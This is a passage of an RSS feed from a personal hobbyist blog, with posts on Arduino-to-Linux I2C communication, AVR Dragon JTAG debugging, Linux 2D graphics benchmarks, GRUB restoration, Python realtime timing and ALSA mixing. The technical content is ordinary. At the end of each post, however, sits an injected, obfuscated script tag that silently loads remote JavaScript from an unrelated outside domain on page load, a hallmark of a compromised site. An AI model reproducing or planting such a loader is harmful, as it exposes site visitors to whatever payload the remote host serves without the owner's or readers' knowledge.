  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"==="</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>void</strong> <span style="color: #2040a0;">requestEvent</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">Serial</span>.<span style="color: #2040a0;">println</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"read"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <span style="color: #2040a0;">Wire</span>.<span style="color: #2040a0;">send</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Hello world from Arduino"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span></pre>
<p>To test the Arduino I used a <a href="http://dangerousprototypes.com/docs/Bus_Pirate">Bus Pirate</a>, this is quite simple and fun, here a little snipset of my initial test with the BP (note the string are different). The I2C slave is at the 0&#215;4 address (check the setup()).</p>
<pre>Searching I2C address space. Found devices at:
0x08(0x04 W) 0x09(0x04 R) 

Read content from the device, 'ABCD'
I2C&gt;[0x09 rrrrrr]
I2C START BIT
WRITE: 0x09 ACK
READ: 0x41
READ:  ACK 0x42
READ:  ACK 0x43
READ:  ACK 0x44
READ:  ACK 0xFF
READ:  ACK 0xFF
NACK
I2C STOP BIT
I2C&gt;

send content to the device 'ABC'
I2C&gt;[0x08 0x41 0x42 0x43]
I2C START BIT
WRITE: 0x08 ACK
WRITE: 0x41 ACK
WRITE: 0x42 ACK
WRITE: 0x43 ACK
I2C STOP BIT</pre>
<p><strong>Second step: </strong> Plug the Arduino to the NGW100. I used the wrapping technique. Simply connect SDA, SCL, and GND. (NGW100 pinouts : SDA=&gt;9, SCL=&gt;10, GND=&gt;2)</p>
<p><img style="border: 0px initial initial;" title="NGW100-AVR32 to Arduino" src="http://jkx.larsen-b.com/photos/blog/2012_01_05_13_57_32_001.sized.jpg" alt="" width="640" height="480" /></p>
<p>On Linux, load the I2C-GPIO kernel module. On <a href="http://openwrt.org">OpenWRT</a> (used on the NGW100), simply load the <strong>kmod</strong>-<strong>i2c-gpio</strong> package.</p>
<p><strong>Final step:</strong> If everything is Ok, we can now test the communication. I used a small piece of C code to deal with I2C on Linux.</p>
<pre><span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;string.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;stdio.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;stdlib.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;linux/i2c-dev.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;sys/ioctl.h&gt;</span></strong></span>
<span style="color: #0000ff;"><strong>#include <span style="color: #008000;">&lt;fcntl.h&gt;</span></strong></span>

<strong>void</strong> <span style="color: #2040a0;">i2c_run</span><span style="color: #4444ff;">(</span><strong>void</strong><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
    <strong>int</strong> <span style="color: #2040a0;">file</span><span style="color: #4444ff;">;</span>
    <strong>char</strong> <span style="color: #2040a0;">filename</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">40</span><span style="color: #4444ff;">]</span><span style="color: #4444ff;">;</span>
    <strong>int</strong> <span style="color: #2040a0;">addr</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0x4</span><span style="color: #4444ff;">;</span>
    <strong>char</strong> <span style="color: #2040a0;">buf</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">32</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span> <span style="color: #4444ff;"><strong>{</strong></span><span style="color: #ff0000;">0</span><span style="color: #4444ff;"><strong>}</strong></span><span style="color: #4444ff;">;</span>
    <strong>int</strong> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span>

    <span style="color: #2040a0;">sprintf</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">filename</span>,<span style="color: #008000;">"/dev/i2c-0"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">open</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">filename</span>,<span style="color: #2040a0;">O_RDWR</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&lt;</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to open the bus."</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
        <span style="color: #2040a0;">exit</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ioctl</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">I2C_SLAVE</span>,<span style="color: #2040a0;">addr</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&lt;</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to acquire bus access and/or talk to slave.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
        <span style="color: #2040a0;">exit</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <span style="color: #2040a0;">i</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">24</span><span style="color: #4444ff;">;</span>
    // <span style="color: #2040a0;">read</span> <span style="color: #2040a0;">I2C</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">read</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">buf</span>,<span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to read from the i2c bus.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span> <strong>else</strong> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Read %d bytes from I2C: [%s]<span style="color: #77dd77;">\n</span>"</span>,<span style="color: #2040a0;">i</span>,<span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <span style="color: #2040a0;">sprintf</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">buf</span>,<span style="color: #008000;">"IC2 from Linux to Arduino"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #2040a0;">i</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">strlen</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">write</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">buf</span>,<span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to write to the i2c bus.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span> <strong>else</strong> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Sent %d bytes to I2C: [%s]<span style="color: #77dd77;">\n</span>"</span>,<span style="color: #2040a0;">i</span>,<span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>int</strong> <span style="color: #2040a0;">main</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">i2c_run</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <strong>return</strong> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span></pre>
<p>As you can see this code is a bit rude, but works really well : Read the I2C bus, and send a sample string, a proof ? :)</p>
<p><img style="border: 0px initial initial;" title="openWRT I2C" src="http://jkx.larsen-b.com/photos/blog/openWRT_I2C_001.jpg" alt="" width="690" height="440" /></p>
<p>Of course, I used string values but in real life a small protocol shoud be used. Another important thing: I used a NGW100 but you can use the same idea on all Linux embedded board like the Fonera, or anything else.</p>
<p><strong>Update:</strong> Of course you can use the <a href="http://lm-sensors.org/wiki/I2CTools">i2c-tools</a> on Linux to detect your own device. To do that : Grab the i2c-tools source, and cross compile it for the AVR32. (You only have to change the CC path in the Makefile).</p>
<p><strong>/Enjoy small Linux</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/398.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Howto use AVR Dragon Jtag on Linux (Avarice + avr-gdb +DDD)</title>
		<link>http://www.larsen-b.com/Article/315.html</link>
		<comments>http://www.larsen-b.com/Article/315.html#comments</comments>
		<pubDate>Sun, 30 Nov 2008 15:45:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=315</guid>
		<description><![CDATA[I bought a couple of months ago a little AVR Dragon card. My initial plan was to use it for debuging programs with the embbeded JTAG. But I run into several issue with that, mainly because the lack of doc &#8230; <a href="http://www.larsen-b.com/Article/315.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I bought a couple of months ago a little <a href="http://www.atmel.com/dyn/Products/tools_card.asp?tool_id=3891">AVR Dragon</a> card. My initial plan was to use it for debuging programs with the embbeded JTAG. But I run into several issue with that, mainly because the lack of doc on this topic. So, here we are ;)</p>
<p>The AVR Dragon is nice because you can use it as a small developpement device without any other requirement: Simply drop the needed ATMega on the board, some little wrapping for : Jtag + power supply.</p>
<p><a href="http://jkx.larsen-b.com/gallery/blog/pb163528?full=1"><img class="alignnone" title="AVR Dragon + ATMega 16" src="http://jkx.larsen-b.com/photos/blog/pb163528.sized.jpg" alt="" width="640" height="410" /></a></p>
<p>As you can see, this is compact and nothing else is needed. The power supply come from the USB port, and I soldered a DIP on the board.. and that&#8217;s it.</p>
<p>I use the Jtag connector, so now I can use a real debugger instead of playing with the UART. Simply put a breakpoint, and enjoy :) By this way, I figure out that most of the time I simply push some stuff in arrays, and inspect them with debugger. This is really efficient. For example, last week I need to fix a timing issue with a IR sensor, simply wrap the little board, and push all interrupts in a array with the related timing. Of course, this can be done with a serial connection too, but it will take more time, and even worst if you encounter a bug, you will have to find where is it (the UART printf, or the code itself) ..</p>
<h4>So, how to use this with a Linux OS ?</h4>
<p>First you need to use <a href="http://avarice.sourceforge.net/">AVaRICE</a> to program the ATMega with a command like this :</p>
<pre>avarice -g -j usb --erase --program --file main.hex :4242</pre>
<p>Here the result:</p>
<p><img class="alignnone" title="Avarice" src="http://jkx.larsen-b.com/photos/blog/avarice.sized.jpg" alt="" width="640" height="476" /></p>
<p>AVaRICE flash the hex file to the ATMega, and wait for a <a href="http://en.wikipedia.org/wiki/GNU_Debugger">GDB</a> connection on port 4242. GDB is fine, but not really visual ;)</p>
<p>Let&#8217;s take a look at <a href="http://www.gnu.org/software/ddd/">DDD</a></p>
<p>To use DDD with avr-gdb (the gdb for AVR), you need to edit a config file, for example gdb.conf and put this in :</p>
<pre>file main.out
target remote localhost:4242</pre>
<p>And the final command, just launch DDD like this :</p>
<pre>ddd --debugger "avr-gdb -x gdb.conf"</pre>
<p>Next step: Simply place some breakpoint, and the press &#8220;Cont&#8221; inue button in DDD. Et voilà :</p>
<p><a href="http://jkx.larsen-b.com/gallery/blog/ddd?full=1"><img class="alignnone" title="DDD" src="http://jkx.larsen-b.com/photos/blog/ddd.sized.jpg" alt="" width="438" height="640" /></a></p>
<p>I hope this little tuto will help people looking for a nice AVR debuger for the AVR on Linux (or any OSS system). The AVR Dragon is definitively a must have for low budget user in AVR scene.</p>
<p><strong>Enjoy bug ? :)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/315.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>2D benchmarks on Linux Nvidia, Intel, ATI: xrender</title>
		<link>http://www.larsen-b.com/Article/290.html</link>
		<comments>http://www.larsen-b.com/Article/290.html#comments</comments>
		<pubDate>Sat, 17 May 2008 01:48:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[ati]]></category>
		<category><![CDATA[drivers]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[nvidia]]></category>
		<category><![CDATA[q6600]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=290</guid>
		<description><![CDATA[For my new computer I bought a ATI HD 2600 PRO with a bunch of memory. This card has some really good 3D results, and works well on Linux. But I run into some issues with de xv extension on &#8230; <a href="http://www.larsen-b.com/Article/290.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>For my <a href="http://www.larsen-b.com/Article/271.html">new computer</a> I bought a ATI HD 2600 PRO with a bunch of memory. This card has some really good 3D results, and works well on Linux. But I run into some issues with de xv extension on this board. In fact the driver (the free or binary one) doesn&#8217;t seems to support <a href="http://en.wikipedia.org/wiki/Vertical_blanking_interval">sync on vblank</a>. So when a app try do display datas on the screen, some image destructions appear. This mainly occurs when I&#8217;m watching videos but in 3D games too. This is a really stupid bug or mis-feature. How can a serious video programmer can do that ?</p>
<p>After a couple of month, I decided it was enough, I was sick of this dirty stripes on screen. I tested every ATI driver one after one &#8230; (ATI opensource drivers have too bad performances to be used on a every days desktop, could you live without google-earth ? ) .. so I decided to go to other side, and bought a <a href="http://www.asus.com/products.aspx?l1=2&amp;l2=6&amp;l3=514&amp;l4=0&amp;model=1700&amp;modelmenu=1">Nvidia 8600GT from ASUS</a>. This card perform quite as the ATI in 3D, and have a affordable price. So I switched from ATI to Nvidia.</p>
<p>ATI offers better opensource support, but Nvidia binary driver is really nice to use and have better support today from stuffs like Compiz and Co.. and NO MORE STRIPES !! :)</p>
<p>A couple of weeks ago, I upgraded my <a href="http://www.ubuntu.com">Ubuntu</a> Gusty to Hardy. Everything was Ok, since I played with firefox.  Some heavy loaded pages (like Amazon, or Gmail) was damn sloowwwww !  Playing with scroll was a source &#8230;&#8230;<strong> grrrrrr</strong> &#8230;.Firefox on Hardy is 3.0b5. This version has a major &#8220;feature&#8221; the use a <a href="http://en.wikipedia.org/wiki/XRender">Xrender</a> for the page display. And this looks like Xrender is dawn slow on Nvidia cards .. In fact, Nvidia has already work on this <a href="http://www.phoronix.com/scan.php?page=article&amp;item=934&amp;num=1">kind of issue before.</a> Without looking forward I decided to run a little benchmark, with the help of friends with <a href="http://lists.freedesktop.org/archives/xorg/2006-March/013918.html">Xrenderbenchmark</a>. So here the results.</p>
<h1>Benchmarks</h1>
<p>Benchmarks was done by me and 2 firends, on Q6600 or E6600 Intel CPU running at 2.4Gh, with kernel 2.6.24.1. The graphs only show the Plain results (not Plains + Alpha, or Transformation) but the results are quite the same anyways.</p>
<p>Legend:</p>
<ul>
<li>8600GT/nv : Nividia 8600GT / Xorg  1.4.1git 32 bits / Nvidia GPL driver</li>
<li>8600GT/nvidia : Nividia 8600GT / Xorg 1.4.1git 32 bits / Nvidia binary driver ver: 169.12</li>
<li>8600GT/nividia-64 : Nvidia 8600GT / Xorg  1.4.1git 64 bits / Nvidia binary driver  ver: 169.12</li>
<li>Intel GMA X300 : Intel GMA 3000 / Xorg 1.4.0.9 64 bits / Intel GPL driver</li>
<li>ATI HD2600PRO : ATI HD 2600 Pro / Xorg 1.4.1git 64 bits / ATI GPL driver</li>
</ul>
<p>I split the results into two graphs for convenience.</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/xrender_1.png" alt="" width="746" height="515" /></p>
<p>As you can see on this first part, numbers are really small, the Nvidia GPL driver is the worst : 5 times slower than any other one. Not a good news, and the binary one have some bad results on 2 tests. ATI HD and Nvidia drivers offer quite the same results, but remenber this is the GPL ATI driver ! &#8230; The Intel doesn&#8217;t  have a lot of linearity on this part.</p>
<p>But the next graph give us absolutely different picture !</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/xrender_2.png" alt="" /></p>
<p>For every graph, Nvidia drivers (GPL, or binary, 32 or 64 bits) are at least 6 time slower. Intel perform very well, no surprise, this card are damn cool, perfect driver for linux.. but to slow in 3D to really rock. And ATI GPL driver is the clear winner of this benchmarks tests.</p>
<p>As my issue is the Nvidia one, I can comment the results, the GPL driver performs better than the binary one. This is not a big surprise cause, I can see it in Firefox, even it&#8217;s slow. There is difference between 64 bits and 32, but I guess this is more kernel related than the driver itself.</p>
<p>I&#8217;m not a video guru and only do that figure out what&#8217;s going on my computer. I publish in the hope it might help somebody else, and to find help.</p>
<p><strong>Update : </strong>The numbers can be found <a href="http://jkx.larsen-b.com/gallery/blog/xrender_results?full=1">here</a></p>
<p><em>Thanks to Ludo and Christian for their help ! </em></p>
<p><strong>Important update : <a href="http://www.larsen-b.com/Article/299.html">Check the new driver results !!</a></strong><a href="http://www.larsen-b.com/Article/299.html"><br />
</a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/290.html/feed</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Howto reinstall / restore Grub with an Ubuntu</title>
		<link>http://www.larsen-b.com/Article/272.html</link>
		<comments>http://www.larsen-b.com/Article/272.html#comments</comments>
		<pubDate>Tue, 30 Oct 2007 21:09:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[grub]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[sata]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[After a windows fresh install, the windows setup decided to drop my MBR to put its stuff in. Fine .. but I want my grub back now ! This is an old trick, but udev added a little complexity, so &#8230; <a href="http://www.larsen-b.com/Article/272.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>After a windows fresh install, the windows setup decided to drop my MBR to put its stuff in. Fine .. but I want my grub back now !</p>
<p>This is an old trick, but udev added a little complexity, so let&#8217;s give it a try. First boot on a Ubunty CD, open a console and run:</p>
<p>(here my linux partition is sda2, second partition on a sata disk)</p>
<pre class="literal-block">mkdir /media/mnt
mount /dev/sda2 /media/mnt/
mount -o bind /dev/ /media/mnt/dev
chroot /media/mnt

=&gt; now you are on the destination disk, so you can install grub.
grub-install /dev/sda</pre>
<p>Of course you can do a lot more stuff, like changing fstab etc etc .. but the trick is to mount + mount bind + chroot<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/272.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Playing with Realtime with Python</title>
		<link>http://www.larsen-b.com/Article/221.html</link>
		<comments>http://www.larsen-b.com/Article/221.html#comments</comments>
		<pubDate>Tue, 24 Jan 2006 08:54:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[rtc]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[For a little app, I need to send stream over UDP at a fixed rate. I have done severals tests w/ some buffers and sleep(), but I can&#8217;t achieve the desired speed. Mainly because sleep() doesn&#8217;t provide a stable enought &#8230; <a href="http://www.larsen-b.com/Article/221.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>For a little app, I need to send stream over UDP at a fixed rate. I have done severals tests w/ some buffers and sleep(), but I can&#8217;t achieve the desired speed. Mainly because sleep() doesn&#8217;t provide a stable enought result.</p>
<p>I decided to look at this a little deeply, and decided to use <strong>/dev/rtc</strong> to do the trick. Here a little example of the stuff.</p>
<pre class="literal-block">from  fcntl import ioctl
import os, time

# some linux kernel header
RTC_IRQP_SET = 1074032652
RTC_PIE_ON =  28677
RTC_PIE_OFF = 28678

# open the realtime clock
f = open ("/dev/rtc", "r")
fd = f.fileno()

# 2048 freq
ioctl(fd,RTC_IRQP_SET,2048)
ioctl(fd,RTC_PIE_ON,0)

t0 = time.time()
interupt = 0

# the read will block until the next interrupt.
while interupt &lt; 1000 :
    os.read(fd,4)  # 4 = size of double
    interupt = interupt + 1

delta = time.time() - t0
print interupt / delta

# drop the scheduler
ioctl(fd,RTC_PIE_OFF,0)</pre>
<p>This is quite accurate enought, the only issue is that I&#8217;m unable to call the <em>sched_setscheduler()</em> from Python right now. So, if the host isn&#8217;t loaded I get the 2048 interrupts.. but it can be less :(</p>
<p><strong>Update</strong>:<br />
The <em>sched_setscheduler</em> can be done w/ a simple pyrex extension:</p>
<pre class="literal-block">cdef extern from "sched.h":
struct sched_param:
int sched_priority
int sched_setscheduler(int pid, int policy,sched_param  *p)

SCHED_FIFO = 1

def switchRTCPriority(nb):
cdef sched_param sp
sp.sched_priority = nb
sched_setscheduler (0,SCHED_FIFO , &amp;sp);</pre>
<p>After this quick Pyrex hack, I now have a accurate realtime interrupt in Python ;)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/221.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Playing music on soundcard without locking</title>
		<link>http://www.larsen-b.com/Article/194.html</link>
		<comments>http://www.larsen-b.com/Article/194.html#comments</comments>
		<pubDate>Wed, 09 Feb 2005 09:06:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Other]]></category>
		<category><![CDATA[alsa]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[soundcard]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Why this soundcard allow me to play 2 mp3 at the same time while this doesn&#8217;t.. Hum good question. In fact to support this kind of stuff the sound card should support have some sub-device, to be sure .. simply &#8230; <a href="http://www.larsen-b.com/Article/194.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Why this soundcard allow me to play 2 mp3 at the same time while this doesn&#8217;t.. Hum good question. In fact to support this kind of stuff the sound card should support have some sub-device, to be sure .. simply <strong>aplay -l</strong></p>
<p>Here on my shuttle .. not working</p>
<pre class="literal-block">aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: IXP [ATI IXP], device 0: ATI IXP AC97 [ATI IXP AC97]
Subdevices: 1/1
Subdevice #0: subdevice #0
card 0: IXP [ATI IXP], device 1: ATI IXP IEC958 [ATI IXP IEC958 (AC97)]
Subdevices: 1/1
Subdevice #0: subdevice #0</pre>
<p>Here on another box (VIA C3 based)</p>
<pre class="literal-block">aplay -l
**** List of PLAYBACK Hardware Devices ****
card 0: V8235 [VIA 8235], device 0: VIA 8235 [VIA 8235]
Subdevices: 4/4
Subdevice #0: subdevice #0
Subdevice #1: subdevice #1
Subdevice #2: subdevice #2
Subdevice #3: subdevice #3
card 0: V8235 [VIA 8235], device 1: VIA 8235 [VIA 8235]
Subdevices: 1/1
Subdevice #0: subdevice #0</pre>
<p>So yes the C3 can play 4 stream at the same time, while the AC97 doesn&#8217;t.</p>
<p>Another way to do this is to use <a class="reference" href="http://www.alsa-project.org/alsa-doc/doc-php/asoundrc.php#softmix">software mixing</a></p>
<p><strong>Update:</strong></p>
<p>To use the software mix in Alsa: simply change the pcm.default to pcm.dmix</p>
<pre class="literal-block">#pcm.default cards.pcm.default
pcm.default pcm.dmix</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/194.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
